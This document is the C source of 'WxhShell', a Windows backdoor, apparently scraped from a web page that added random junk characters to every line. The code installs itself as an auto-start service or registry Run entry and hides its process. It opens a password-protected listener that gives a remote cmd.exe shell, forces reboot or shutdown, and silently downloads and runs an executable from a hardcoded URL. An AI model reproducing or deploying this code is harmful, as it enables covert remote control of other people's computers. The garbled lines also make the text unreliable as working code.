    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'Dat.@j  
    if(Boot(SHUTDOWN)) LWVO%@)w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `W]a @\EYA  
    else { 30DpIkf  
    closesocket(wsh); /;OJ=x3i  
    ExitThread(0); N"r ;d+LTL  
    } _'I9rGlx3  
    break; m9L+|r  
    } H ~ks"D1  
  // 获取shell M<ad>M  
  case 's': { l$zNsf.  
    CmdShell(wsh); ,1~Zqprn  
    closesocket(wsh); //J:p,AF  
    ExitThread(0); o8s&n3mY}y  
    break; ` 4k;`a  
  } s{s0#g  
  // 退出 U">OdoZ,E+  
  case 'x': { dtF6IdAf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +ixDB0"\  
    CloseIt(wsh); dH`a|SVW9  
    break; >,] #~d  
    } ]6:5<NW  
  // 离开 >p<( CVX[  
  case 'q': { SN]/~>/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Gi<f/xQk>  
    closesocket(wsh); vi5~Rd`  
    WSACleanup(); dt5gQ9(B  
    exit(1); wSAm[.1i  
    break; Xrz0ch  
        } R=e`QMq  
  } Q'8v!/"}p{  
  } l w%fY{  
kkJg/:g  
  // 提示信息 jV<LmVcZY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IcQ?^9%{  
} \6lXsu;I.X  
  } x _2]G'  
ze 4/XR  
  return; ?BLOc;I&a  
} 26Yg?:kP  
>)N#n`  
// shell模块句柄 }2\"(_  
int CmdShell(SOCKET sock) >|iy= Zn%'  
{ ^-ACtA)  
STARTUPINFO si; iF%q 6R  
ZeroMemory(&si,sizeof(si)); SHGO;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fx@ {]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :EO}uP2  
PROCESS_INFORMATION ProcessInfo; hCDI;'ls  
char cmdline[]="cmd"; YLCwo]\+>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a6]!4  
  return 0; sW]n~kTt'  
} N!m%~},s//  
V`H#|8\i  
// 自身启动模式 {$EXI]f  
int StartFromService(void) I}q-J~s  
{ #E ~FF@a  
typedef struct =.o-R=:d  
{ HAiUFO/R  
  DWORD ExitStatus; TtvS|09p;  
  DWORD PebBaseAddress; E$1^}RGT)  
  DWORD AffinityMask; 9:Y:Vx  
  DWORD BasePriority; jqLyX  
  ULONG UniqueProcessId; RhJ<<T.2  
  ULONG InheritedFromUniqueProcessId; +p[~hM6?  
}   PROCESS_BASIC_INFORMATION; gO/(/e>P  
eyE&<:F#J  
PROCNTQSIP NtQueryInformationProcess; uVk8KMYU  
\ bhok   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QB.7n&u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]u,~/Gy  
/Mk)H d  
  HANDLE             hProcess; YL. z|{\e  
  PROCESS_BASIC_INFORMATION pbi; h49Q2`  
]SPB c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =&pbh  
  if(NULL == hInst ) return 0; G8&'*7Bb  
%*gO<U4L]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eeDhTw9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jG2w(h/"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [D,:=p`  
N0piL6Js  
  if (!NtQueryInformationProcess) return 0; Stc\P]%d  
- VE#:&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MCCZh{uo  
  if(!hProcess) return 0; ku{aOV%  
<-?B#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; esHiWHAC  
xL BG}C  
  CloseHandle(hProcess); q)~qd$yMS  
\1Bgs^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 35>}$1?-6  
if(hProcess==NULL) return 0; |. 6@-h~8  
f@{C3E dd  
HMODULE hMod; IF:M_   
char procName[255]; 6Te}"t>  
unsigned long cbNeeded; wY95|QS  
d"78:+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 47RYpd  
q>[% C5  
  CloseHandle(hProcess); :9#`| #uh  
Zb 2  
if(strstr(procName,"services")) return 1; // 以服务启动 wI4;/w>  
aYgJTep>r  
  return 0; // 注册表启动 8F * WT|]  
} HZm i ?  
X2`>@GR/>  
// 主模块 g@2.A;N0  
int StartWxhshell(LPSTR lpCmdLine) Z]Y4NO;  
{ ]Rye AJ3  
  SOCKET wsl; AAW7@\q.  
BOOL val=TRUE; 6:,^CI|@ t  
  int port=0; 2{CSH_"Z7  
  struct sockaddr_in door; d0B+syl&4l  
A|J\X=5  
  if(wscfg.ws_autoins) Install(); OGFKc#  
!.9vW&t  
port=atoi(lpCmdLine); =F&RQ}$   
[*G2wP[$  
if(port<=0) port=wscfg.ws_port; Fjzk;o  
@r?`:&m0  
  WSADATA data; kut|A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G|lI=Q3f  
!_) ^bRd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3~Ln:4[6ID  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w#T,g9  
  door.sin_family = AF_INET;  62jA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wDO5Zew!  
  door.sin_port = htons(port); q?L(V+X  
_);Kb/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  ?~.&Y  
closesocket(wsl); {wP|b@(1t  
return 1; hBhkb ~Oky  
} 6\;1<Sw*  
ra>`J_  
  if(listen(wsl,2) == INVALID_SOCKET) { )0mDN.  
closesocket(wsl); JNaW> X$K  
return 1; e_], O_ Z  
} .@Uz/j?>  
  Wxhshell(wsl); [MS.5+1Y  
  WSACleanup(); [QbXj0en$  
.Qt3!ek  
return 0; gN(hv.nQ  
<gLtX[v!CL  
} 05B+WJ1  
m;f?}z_\$  
// 以NT服务方式启动 }qhK.e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5$U>M  
{ kW&Z%k  
DWORD   status = 0; qD*\}b]9I  
  DWORD   specificError = 0xfffffff; sK0VT"7K  
F5+_p@ !i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gi'agB^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A#S:_d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <UJJ],)^1A  
  serviceStatus.dwWin32ExitCode     = 0; 7[BL 1HI*  
  serviceStatus.dwServiceSpecificExitCode = 0; |nN/x<v  
  serviceStatus.dwCheckPoint       = 0; io7U[#  
  serviceStatus.dwWaitHint       = 0; Uob|Q=MQ  
ATM:As:<@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^ ~qs-.?  
  if (hServiceStatusHandle==0) return; +[/47uFbI  
-5 /v`  
status = GetLastError(); ~[TKVjyO  
  if (status!=NO_ERROR) *"FLkC4  
{ 2?iOB6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _M[[vXH  
    serviceStatus.dwCheckPoint       = 0; WgJAr73 l  
    serviceStatus.dwWaitHint       = 0; q_y,j&  
    serviceStatus.dwWin32ExitCode     = status; ;&6PL]/d  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;-pvc<_c<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1lyOp   
    return; I<./(X[H:#  
  } ^r*%BUU9]%  
w"agn}CK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; / 7XdV  
  serviceStatus.dwCheckPoint       = 0; ~e77w\Q0  
  serviceStatus.dwWaitHint       = 0; VhFRh,J(T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =veOVv[Q&/  
} no NF;zT  
:$i:8lz  
// 处理NT服务事件,比如:启动、停止 1{x~iZa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZT"|o\G^Q  
{ 7. 9s.*  
switch(fdwControl) ynZ[c8.  
{ ;K\N  
case SERVICE_CONTROL_STOP: C6UMc} 9h  
  serviceStatus.dwWin32ExitCode = 0; >Y-TwD aE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V/}>>4  
  serviceStatus.dwCheckPoint   = 0; D4Y!,7WEVt  
  serviceStatus.dwWaitHint     = 0; I"32[?0 (;  
  { $Cd;0gdv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (SsH uNt.  
  } !Vr45l  
  return; y C0f/O  
case SERVICE_CONTROL_PAUSE: $dTfvd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9id~NNr7  
  break; %C`'>,t>  
case SERVICE_CONTROL_CONTINUE: O {6gNR,*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Eqmv`Z [_  
  break; zLw h6^?Y  
case SERVICE_CONTROL_INTERROGATE: 207O["Y  
  break; j(6$7+2qN  
}; _SIs19"lR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fE%[j?[  
} 0uIV6LI  
2r}uE\GN  
// 标准应用程序主函数 i\Pr3 7 "  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J'ZFIT_>  
{ SXBQ  
T]#,R|)d  
// 获取操作系统版本 ?[ S >&Vq  
OsIsNt=GetOsVer(); @SC-vc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _A,-[*OKI  
Q;XHHk  
  // 从命令行安装 O<dZA=Oez  
  if(strpbrk(lpCmdLine,"iI")) Install(); p~q_0Pg%  
R8[i XXjku  
  // 下载执行文件 #i+P(xV  
if(wscfg.ws_downexe) { Qw<kX*fxrI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ECS<l*i57&  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,/?%y\:J  
} "T{~,'T  
adO!Gs9f?  
if(!OsIsNt) { a\&(Ua  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ukx/jNyYv  
HideProc(); Ztyv@z'/Z  
StartWxhshell(lpCmdLine); 1(?CNW[  
} }^pQbFku  
else n-y^ 7'v  
  if(StartFromService()) #'4<> G]  
  // 以服务方式启动 pcuMGo-#  
  StartServiceCtrlDispatcher(DispatchTable); yF/< :  
else -.b Io  
  // 普通方式启动 s0)qlm*  
  StartWxhshell(lpCmdLine); p&OJa$N$[  
RUS7Z~5  
return 0; A&|Wvb=  
} UN*dU  
r,3Ww2X-  
jA-5X?!In  
RD6h=n4B  
=========================================== g<2lPH  
)iEa2uJ  
//X e*0  
E+m]aYu"  
?)?IZ Qj  
%Rd~|$@>x  
" _b!;(~ @p  
Nxbd~^j  
#include <stdio.h> xH"W}-#[  
#include <string.h> f/0v' Jt  
#include <windows.h> Siz!/O!'  
#include <winsock2.h> eg$5z Z  
#include <winsvc.h> ZSF=  
#include <urlmon.h> hy$MV3LP  
8K@"B  
#pragma comment (lib, "Ws2_32.lib") ' 1P=^  
#pragma comment (lib, "urlmon.lib") xm}q6>jRV  
.7pGx*WH^Y  
#define MAX_USER   100 // 最大客户端连接数 Q{qj  
#define BUF_SOCK   200 // sock buffer iHE0N6%q  
#define KEY_BUFF   255 // 输入 buffer P~Te+ -jX}  
 NVO9XK  
#define REBOOT     0   // 重启 Jt-X mGULB  
#define SHUTDOWN   1   // 关机 oh7#cFZZ0  
{t844La"  
#define DEF_PORT   5000 // 监听端口 bmj8WZ  
I~p8#<4#b  
#define REG_LEN     16   // 注册表键长度 ?418*tXd  
#define SVC_LEN     80   // NT服务名长度 GOYn\N;V2  
)Lc<;=w'9  
// 从dll定义API f?=r3/AO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1z})mfsh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -+3be(u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O+G~Qp0b>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WFU?o[k-O  
6keP':bt  
// wxhshell配置信息 z:Xj_ `p  
struct WSCFG { N,j>;x3xT  
  int ws_port;         // 监听端口 !lQ#sL`  
  char ws_passstr[REG_LEN]; // 口令 Z?~gQ $  
  int ws_autoins;       // 安装标记, 1=yes 0=no `e'G.@  
  char ws_regname[REG_LEN]; // 注册表键名 ?%cn'=>ZI  
  char ws_svcname[REG_LEN]; // 服务名 -yX.Jv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CRZi;7`*1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -`zG_]=-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0Jm]f/iZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Tjnt(5g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CS~=Z>6EjA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uY&=eQ_Cb  
Cz'xGW{  
}; !lR0w|  
5TXg;v#Z  
// default Wxhshell configuration b@=z rhQ  
struct WSCFG wscfg={DEF_PORT, RH!SW2o<  
    "xuhuanlingzhe", V/aQ*V{  
    1, H|PrsGW  
    "Wxhshell", y#b;uDY  
    "Wxhshell", *'Z-OY<V  
            "WxhShell Service", wrH7 pd  
    "Wrsky Windows CmdShell Service", jZXVsd  
    "Please Input Your Password: ", -M"IVyy@  
  1, wqJ*%  
  "http://www.wrsky.com/wxhshell.exe", reJ"r<2  
  "Wxhshell.exe" g~~m' ^  
    }; N=>- Q)  
Dz[566UD  
// 消息定义模块 yB-.sGu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n=f`AmF;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iKg75%;t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "#*Nnt  
char *msg_ws_ext="\n\rExit."; X3P&"}a  
char *msg_ws_end="\n\rQuit."; Px'R`1^  
char *msg_ws_boot="\n\rReboot..."; !+m@AQ:,  
char *msg_ws_poff="\n\rShutdown..."; j.k@6[ R>?  
char *msg_ws_down="\n\rSave to "; jmkRP"ZnA  
C= >B_EO  
char *msg_ws_err="\n\rErr!"; FQ+8J7  
char *msg_ws_ok="\n\rOK!"; }C=Quy%Z<  
(l Lu?NpIi  
char ExeFile[MAX_PATH]; t Y{; U#9  
int nUser = 0; ,/~[S  
HANDLE handles[MAX_USER]; e&d3SQ%  
int OsIsNt; E::L?#V  
m])Lw@#9W  
SERVICE_STATUS       serviceStatus; :FnOS<_B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LFCTr/,  
2bWUa~%B  
// 函数声明 F vj{@B!  
int Install(void); + Qt[1Xq  
int Uninstall(void); !d\t:0;  
int DownloadFile(char *sURL, SOCKET wsh); ,,S9$@R  
int Boot(int flag); K6E}";;  
void HideProc(void); <#>Oy&E  
int GetOsVer(void); "cwR^DoD&  
int Wxhshell(SOCKET wsl); .\$Wy$ d  
void TalkWithClient(void *cs); d&hD[v  
int CmdShell(SOCKET sock); ; vMn/  
int StartFromService(void); }qG#N  
int StartWxhshell(LPSTR lpCmdLine); ,aI,2U91  
d;{y`4p)s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (/'h4KS@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ])C>\@c6Gm  
}xqXd%uz  
// 数据结构和表定义 qB+n6y%  
SERVICE_TABLE_ENTRY DispatchTable[] = &(g|="T  
{ PJCnud F  
{wscfg.ws_svcname, NTServiceMain}, 9J?W '8s5  
{NULL, NULL} PCtkjd  
}; 3 :UA<&=s  
NW)M?f+6  
// 自我安装 H- 185]7  
int Install(void) Yr+d1(  
{ VQ2Fnb4  
  char svExeFile[MAX_PATH]; [6_"^jgH  
  HKEY key; !#.\QU|  
  strcpy(svExeFile,ExeFile); 58J_ w X  
8\DME  
// 如果是win9x系统,修改注册表设为自启动 ^+M><jE9  
if(!OsIsNt) { lDC}HC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g&bwtEZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |ixGY^3;  
  RegCloseKey(key); }hCaNQ&jH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ss 2$n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q? qjWZY  
  RegCloseKey(key); ms7SoY bSu  
  return 0; IQIbz{bMx  
    } R3?:\d{  
  } H-Pq!9[DB  
} AQe!Sqg'  
else { 2 % %|fU9  
 [@<G+j  
// 如果是NT以上系统,安装为系统服务 u%xDsT DP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  qtzFg#  
if (schSCManager!=0) _-/x;C  
{ r sLc&2F  
  SC_HANDLE schService = CreateService W<Z$YWr  
  ( FZpsL-yx^N  
  schSCManager, d5:tSO  
  wscfg.ws_svcname, K@6`-|I  
  wscfg.ws_svcdisp, dnwdFsf  
  SERVICE_ALL_ACCESS,  \dTQQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OTE<x"=h  
  SERVICE_AUTO_START, ~5ubh2{  
  SERVICE_ERROR_NORMAL, ?gN9kd)  
  svExeFile, :c=v}  
  NULL, kxh 5}eB  
  NULL, /~*Cp9F"]  
  NULL, #d% vT!Bz~  
  NULL, g ?V&mu  
  NULL s@s/ '^`  
  ); H*rx{F?  
  if (schService!=0) {y b D  
  { ESIzGaM  
  CloseServiceHandle(schService); 5z~\5x  
  CloseServiceHandle(schSCManager); >t0%?wj)Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @zrNN>  
  strcat(svExeFile,wscfg.ws_svcname); GmbIFOT~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { # kEOKmO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J\{ $ot  
  RegCloseKey(key); G'9{a'  
  return 0; JOHR mfqR  
    } (]XbPW  
  } `L\)ahM  
  CloseServiceHandle(schSCManager); 74_xR  
} GRIa8>  
} uY;R8CiD  
!}5*?k g  
return 1;  ,1 P[  
} 5B{k\H;  
+T2HE\  
// 自我卸载 Qci$YTwl>  
int Uninstall(void) jTfi@5aPY  
{ g4wZvra6%)  
  HKEY key; VgMP^&/gZ  
|1l&@#j!2  
if(!OsIsNt) { %2D17*eK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mlj#b8  
  RegDeleteValue(key,wscfg.ws_regname); ?/'}JS(Sm  
  RegCloseKey(key); .*!#98pT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9afh[3qm  
  RegDeleteValue(key,wscfg.ws_regname); Me/\z^pF  
  RegCloseKey(key); Us-A+)r*!  
  return 0; \QT9HAdd@  
  } 8;#AO8+U7)  
} 6IP$n($2  
} "OL~ul5  
else { X>t3|h  
9P.(^SD][z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z>2]Xx% \  
if (schSCManager!=0) HabzCH  
{ @Tr&`Hi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FVgMmYU  
  if (schService!=0) +9[SVw8  
  { '9J*6uXf.  
  if(DeleteService(schService)!=0) { %hINpZMr  
  CloseServiceHandle(schService); M4?8xuC  
  CloseServiceHandle(schSCManager); gvyT-XI  
  return 0; kXwi{P3D$  
  } %LQ/q 3?_  
  CloseServiceHandle(schService); O@jqdJu  
  } &g0g]G21*I  
  CloseServiceHandle(schSCManager); Z^# ]#f  
} <MdGe1n  
} #hJQbv=B"  
bRPO:lAy  
return 1; =nU/ [T.  
} h/<=u9J  
F P@qh  
// 从指定url下载文件 \84v-VK  
int DownloadFile(char *sURL, SOCKET wsh) ^u)rB<#BR  
{ i2PZ'.sL  
  HRESULT hr; ~HmxEk9  
char seps[]= "/"; O>V(cmqE`  
char *token; -@M3Dwsi3  
char *file; 3.vgukkk5  
char myURL[MAX_PATH]; VVuR+=.&  
char myFILE[MAX_PATH]; i8~ r  
+xj "hX>3  
strcpy(myURL,sURL); IgM v =^U  
  token=strtok(myURL,seps); yC !/PQ"  
  while(token!=NULL) -$YJfQE6G  
  { 0@pu@DP~  
    file=token; hz\WZ^  
  token=strtok(NULL,seps); l6 7KJ  
  } t1ze-Ht;  
T?npQA07=  
GetCurrentDirectory(MAX_PATH,myFILE); jG D%r~lN  
strcat(myFILE, "\\"); (}gcY  
strcat(myFILE, file); _%ZP{5D>  
  send(wsh,myFILE,strlen(myFILE),0); V1utUGJV  
send(wsh,"...",3,0); <>=mCZ2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]V<-J   
  if(hr==S_OK) {/}^D-  
return 0; B~TN/sd  
else #3MKH8k&~  
return 1; {TAw)!R~  
\%5MAQS  
} H}nJbnU  
AhxGj+  
// 系统电源模块 C1QV[bJK  
int Boot(int flag) #w>~u2W  
{ 7[KCWJ  
  HANDLE hToken; CWlW/>yF B  
  TOKEN_PRIVILEGES tkp; uGCp#>+  
'UfeluMd  
  if(OsIsNt) { E5UcZ7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'MQ%)hipA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -9o{vmB{  
    tkp.PrivilegeCount = 1; G!Zyl^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v0@)t&O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &ao(!/im  
if(flag==REBOOT) { @Zm J z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;>ozEh#8w  
  return 0; s".HEP~]=  
} ,W*H6fw+  
else { 1 Z[f {T)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9B/1*+ M  
  return 0; Mqv[XHfB  
} _x %1F  
  } *Km7U-BG  
  else { yA;W/I4  
if(flag==REBOOT) { YV([2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8_Z/o5s  
  return 0; g`?:=G:a*  
}  `w<J25  
else { QUOKThY?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sN/+   
  return 0; Gi7RMql6Q  
} `# ^0cW  
} CAgaEJhX3  
kso*}uh0  
return 1; gx;O6S{  
} )^/0cQcJ  
PW)aLycPK  
// win9x进程隐藏模块 =~|:t&v=c  
void HideProc(void) x-_vl 9P)  
{ cm@;*  
%l$W*.j|;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 91d }, Mq:  
  if ( hKernel != NULL ) 6 bO;&  
  { :6Pad  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  CL3xg)x6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kGHC]Fb)  
    FreeLibrary(hKernel); |_zO_Frtp  
  } bd \=h1  
O#_x)13  
return; ([LIjaoi  
} b{&FuvQg2  
-cfx2;68  
// 获取操作系统版本 MCYl{uH!  
int GetOsVer(void) JwP:2-o  
{ i_l+:/+G+  
  OSVERSIONINFO winfo; o4Q3<T7nI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3,6Ox45  
  GetVersionEx(&winfo); $H*/;`,\[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -=5)NH t  
  return 1; .j?kEN?w  
  else #n7Yr,|Z  
  return 0; p^X^1X7  
} x"\qf'{D  
Pil;/t)"  
// 客户端句柄模块 I>n g`  
int Wxhshell(SOCKET wsl) &<1 `O  
{ fx?$9(r,  
  SOCKET wsh; (bm;*2  
  struct sockaddr_in client; u"+}I,'L  
  DWORD myID; m5-9yQ=.  
]gP5f@`  
  while(nUser<MAX_USER) J^zi2 jtV  
{ 2{oThef[O  
  int nSize=sizeof(client); srmKaa|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I}.i@d'O  
  if(wsh==INVALID_SOCKET) return 1; S; /. %  
^v :Zo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aj8Rb&  
if(handles[nUser]==0) wNDbHR  
  closesocket(wsh); Ly #_?\bn  
else AsxD}Nw[Z*  
  nUser++; nk@atK,38^  
  } n=!uNu7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /QxlGfNZ  
#oV+@D`  
  return 0; p'Bm8=AwD  
} ,8VU&?`<}  
a!,r46>$H  
// 关闭 socket oF|N O^H  
void CloseIt(SOCKET wsh) nWaNT-  
{ gH7z  
closesocket(wsh); G+WM`:v8%  
nUser--; >l5u54^3K  
ExitThread(0); I1=(. *B}  
} ;=~Xr"(/z  
&Lj@9\Dh  
// 客户端请求句柄 5:_hP{ @  
void TalkWithClient(void *cs) HW6.O|3  
{ ..qd,9H  
r>n" 51*  
  SOCKET wsh=(SOCKET)cs; A Y9 9!p  
  char pwd[SVC_LEN]; f )NHM'  
  char cmd[KEY_BUFF]; Pe ~c  
char chr[1]; 1ThqqB  
int i,j; ?I W_O~Js  
pJ^NA2  
  while (nUser < MAX_USER) { }iww:H-1  
PHr a+NY#A  
if(wscfg.ws_passstr) { AEg(m<t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZFxLBb:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EX "|H.(  
  //ZeroMemory(pwd,KEY_BUFF); ,YLF+^w-  
      i=0; !:0v{ZQ  
  while(i<SVC_LEN) { ^[q /Mw  
7@;">`zvm  
  // 设置超时 ^mPPyT,(  
  fd_set FdRead; (03pJV&K  
  struct timeval TimeOut; Xe1P- 6 0  
  FD_ZERO(&FdRead); ^&[+H8$  
  FD_SET(wsh,&FdRead); ")UwkF  
  TimeOut.tv_sec=8; #h'@5 l  
  TimeOut.tv_usec=0; :td ~g;w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N4{nG,Mo]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -$-8W  
~~qWI>. 4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pq p *  
  pwd=chr[0]; -Zc![cAlO  
  if(chr[0]==0xd || chr[0]==0xa) { Q!'qC*Gyfn  
  pwd=0; Ew,T5GG  
  break; d8x%SQ!V  
  } `8g7q 5  
  i++; )&W**!(C  
    } 'Pd(\$ZY  
p2O~>97t1  
  // 如果是非法用户,关闭 socket }iiHr|l3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S2^>6/[xM  
} {qpi?oY  
1~yZ T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #1/}3+=5B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gNj7@bX~  
Y`ihi,s`H  
while(1) { "v]%3i.* -  
WZewPn>#q  
  ZeroMemory(cmd,KEY_BUFF); |+f-h,  
\~DM   
      // 自动支持客户端 telnet标准   gPXa>C  
  j=0; j,-C{ K  
  while(j<KEY_BUFF) { /iQ(3F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }*wLEa  
  cmd[j]=chr[0]; {^ec(EsO#  
  if(chr[0]==0xa || chr[0]==0xd) { k$7Z^~?Fz  
  cmd[j]=0; *dsX#Iz  
  break; 1y5Ex:JVZT  
  } ~(X(&  
  j++; I0 Ia6w9  
    } ?ny =  
uh3) 0.nR  
  // 下载文件 S\ ,mR4:  
  if(strstr(cmd,"http://")) { 4_=Ja2v8;`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nWYCh7  
  if(DownloadFile(cmd,wsh)) @F5f"8!.\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <nHkg<O6Y  
  else f@ `*>"  
